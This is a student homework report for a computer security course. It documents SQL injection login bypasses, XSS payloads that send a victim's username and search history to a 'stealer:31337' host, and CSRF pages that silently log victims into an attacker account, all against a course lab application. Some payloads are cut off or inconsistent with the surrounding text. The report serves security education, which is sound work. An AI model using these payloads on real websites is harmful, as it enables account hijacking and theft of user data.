

Clemson University

CPSC 4200 - Computer Security Principles

Homework 2 Assignment: SQL Injection, Cross-site Scripting (XSS),
And Cross-Site Request Forgery (CSRF)

Spring 25'

Trent Brown | stb2@g.clemson.edu
Ben Simmons | busimmo@g.clemson.edu

Contents

1.	SQL Injection Attack	1
2.	Cross-Site Scripting (XSS) Attack	3
3.	Cross-Site Request Forgery (CSRF) Attack	4

1 Introduction

This report details our security evaluation of the BUNGLE! web application, which revealed several vulnerabilities, including SQL Injection, Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF). By systematically analyzing the site's authentication and input handling mechanisms, we identified ways in which attackers could exploit these weaknesses to gain unauthorized access, manipulate user data, and execute malicious actions.

Our evaluation focused on examining how the application handles user input, session management, and authentication procedures. The goal of our analysis was to demonstrate the severity of these vulnerabilities and document the steps taken to exploit them.

We divided our work into different sections:

- Trent focused on developing scripts to automate attacks and analyzing the cryptographic weaknesses.
- Ben tested various attack vectors, manipulated HTTP requests, and verified the effectiveness of each exploit.

Throughout this assessment, we encountered several challenges, such as inconsistent error messages, brute-force requirements, and defense mechanisms that required us to refine our approach. Below, we document each type of attack, our methodology, and the steps taken to exploit these vulnerabilities.

SQL Injection Attack

SQL injection exploits improper handling of user-supplied input in SQL queries, allowing attackers to manipulate database queries and gain unauthorized access. Our objective was to log in as an arbitrary user, `victim`, without knowing their password by exploiting weaknesses in the website's login system.

Approach and Execution

To execute an SQL injection attack, we:

- Identified that the application directly inserts user input into SQL queries without sanitization.
- Constructed input strings that exploit this behavior to log in as an arbitrary user.
- Observed how different input variations affect query execution.
- Used brute force techniques to determine the correct input format when other approaches failed.

2 No Defenses

In the first scenario, where there were no defenses, we injected SQL statements directly into the login form to bypass authentication. By entering:

```
' OR 1 = 1 --
```

we forced the query to always return true logging us in as any user.

Simple Escaping

With single-quote escaping enabled, our initial approach was blocked. However, we adjusted our injection technique by appending a comment to terminate the rest of the query, using:

```
' OR 1 = 1 -- -
```

which still allowed us to bypass authentication.

Escaping and Hashing

The third scenario was significantly more challenging because the server applied both escaping and password hashing before executing the SQL query. The password field was processed using the SHA-256 hash function, meaning we couldn't directly inject a raw string to bypass authentication. Instead, we had to generate a valid hash that the system would accept.

To solve this, we wrote a Python script that:

1. **Mimicked the server's password hashing process** by computing the SHA-256 hash of *"bungle - " + password*.
2. **Brute-forced a valid hash match** by trying different passwords until we found one that matched a stored hash.
3. **Injected the hashed value into the SQL query**, successfully logging in as victim.

One of the biggest challenges we faced in this section was figuring out that brute force was necessary since traditional SQL injection techniques didn't work due to hashing. Additionally, error handling was inconsistent, making it difficult to determine when our attack was working. This required us to refine our script and improve its logic to properly validate the responses.

By leveraging SQL injection techniques and brute force, we successfully bypassed authentication at different defense levels, demonstrating the importance of proper input validation and secure password handling.

3 Cross-Site Scripting (XSS) Attack

XSS attacks exploit improper input sanitization to execute malicious scripts in a victim's browser. These attacks allow an attacker to steal user credentials, manipulate site content, or perform unauthorized actions.

No Defenses

With no defenses in place, we injected a script into the search box to steal user credentials:

```
http://cpsc4200.mpese.com/search?xssdefense=0&q=<script>document.addEventListener('DOMContentLoaded', () => { var searchElement = document.querySelector('#history-list li:last-child'); var search = searchElement ? searchElement.textContent.trim() : "NoSearch"; var userElement = document.getElementById('logged-in-user'); var user = userElement ? userElement.textContent.trim()
```

Tag Removal

When the site attempted to filter <script> tags, we tested alternative injection methods, such as:

```
http://cpsc4200.mpese.com/search?xssdefense=1&q=
```

Multiple Tag Removal

The next defense level removed several common HTML tags, but we were still able to inject JavaScript using:

```
http://cpsc4200.mpese.com/search?xssdefense=1&q=<scrscriipt>document.addEventListener('DOMContentLoaded', function() { var searchElement = document.querySelector('history-list').children[1]; var search = searchElement ? searchElement.textContent.trim() : "NoSearch"; var userElement = document.getElementById('logged-in-user'); var user = userElement ? userElement.textContent.trim() : "UnknownUser";
```

```
fetch("http://stealer:31337/?stolen_user=" + encodeURIComponent(user)
+ "&last_search=" + encodeURIComponent(search));});</script>
```

This approach leveraged an SVG element to execute JavaScript upon loading.

One of the biggest challenges was ensuring that the stolen data (username and last search query) was correctly sent to our stealer server. At first, our fetch requests didn't reach the `http://stealer:31337/` endpoint as expected. We had to debug network settings, verify the server was running, and correctly encode our payload to properly send the request.

By testing different encoding techniques and leveraging alternative HTML elements, we demonstrated that the filtering mechanisms could still be bypassed, highlighting the need for proper input sanitization.

4 Cross-Site Request Forgery (CSRF) Attack

CSRF attacks trick authenticated users into performing unintended actions by sending unauthorized requests on their behalf. By exploiting weak session management and authentication mechanisms, an attacker can force a victim to log into an attacker-controlled account or execute other actions without their knowledge. Our goal was to exploit CSRF vulnerabilities in BUNGLE! and demonstrate how an attacker could hijack a session by forcing a victim to log into a controlled account.

No Defenses

With no CSRF protections in place, we created an HTML page that automatically logged the victim into an attacker-controlled account when opened in their browser. The form submission happened in the background without any user interaction. This was because javascript code had submitted a pre-defined form in a malicious HTML, that the user had no control over.

```
<!DOCTYPE html>
<html>

  <style>
    form{
      display: none;
    }
  </style>
  <body>
    <iframe name="hiddenFrame" style="display: none;"></iframe>
    <form id="myForm" method="post" action="http://cpsc4200.mpe.se.com/login?csrfdefense=0&xssdefense=4" target="hiddenFrame">
      <input type="text" name="username" value="attacker">
      <input type="password" name="password" value="l33th4x">
      <input type="submit" value="Submit">
    </form>
  </body>

  <script>
    window.onload = function(){
      document.getElementById("myForm").submit();
    };
  </script>
</html>
```

By the time a user visited the BUNGLE! page they were already logged in due to the form submission that occurred when they opened the malicious site. The attack was completely invisible, making it a highly effective way to hijack user sessions.

CSRF Token Validation Bypass

In the second scenario, the website implemented CSRF tokens as a defense mechanism. The login form now included a hidden token that had to be submitted along with the username and password. This token was stored in a cookie and verified upon form submission.

What We Did

To bypass this defense, we needed to extract the CSRF token and use it in our forged request. Since the website had an XSS vulnerability, we combined CSRF and XSS to steal the CSRF token from the victim's browser and use it in our attack.

Stealing the CSRF Token Using XSS

Using an iframe with a malicious URL that injected code into the search box:

```
<!DOCTYPE html>
<html>
  <body>
    <iframe src="http://cpsec4200.mpese.com/search?csrfdefense=1&xssdefense=0&q=%3Cscript%3E%20let%20user_cookies
    style="display: none;"></iframe>
  </body>
</html>
```

Once the victim loaded the manipulated page, their CSRF was discovered because of the use of an iframe document that allowed the page to access the session cookie of the user. After stealing the CSRF token, the script modified our attack form to automatically include the stolen token in the login form request. Once the login form was created it was submitted all happening in the background unknown to the user. When the victim visited the BUNGLE! page next they would already be logged in as an attacker.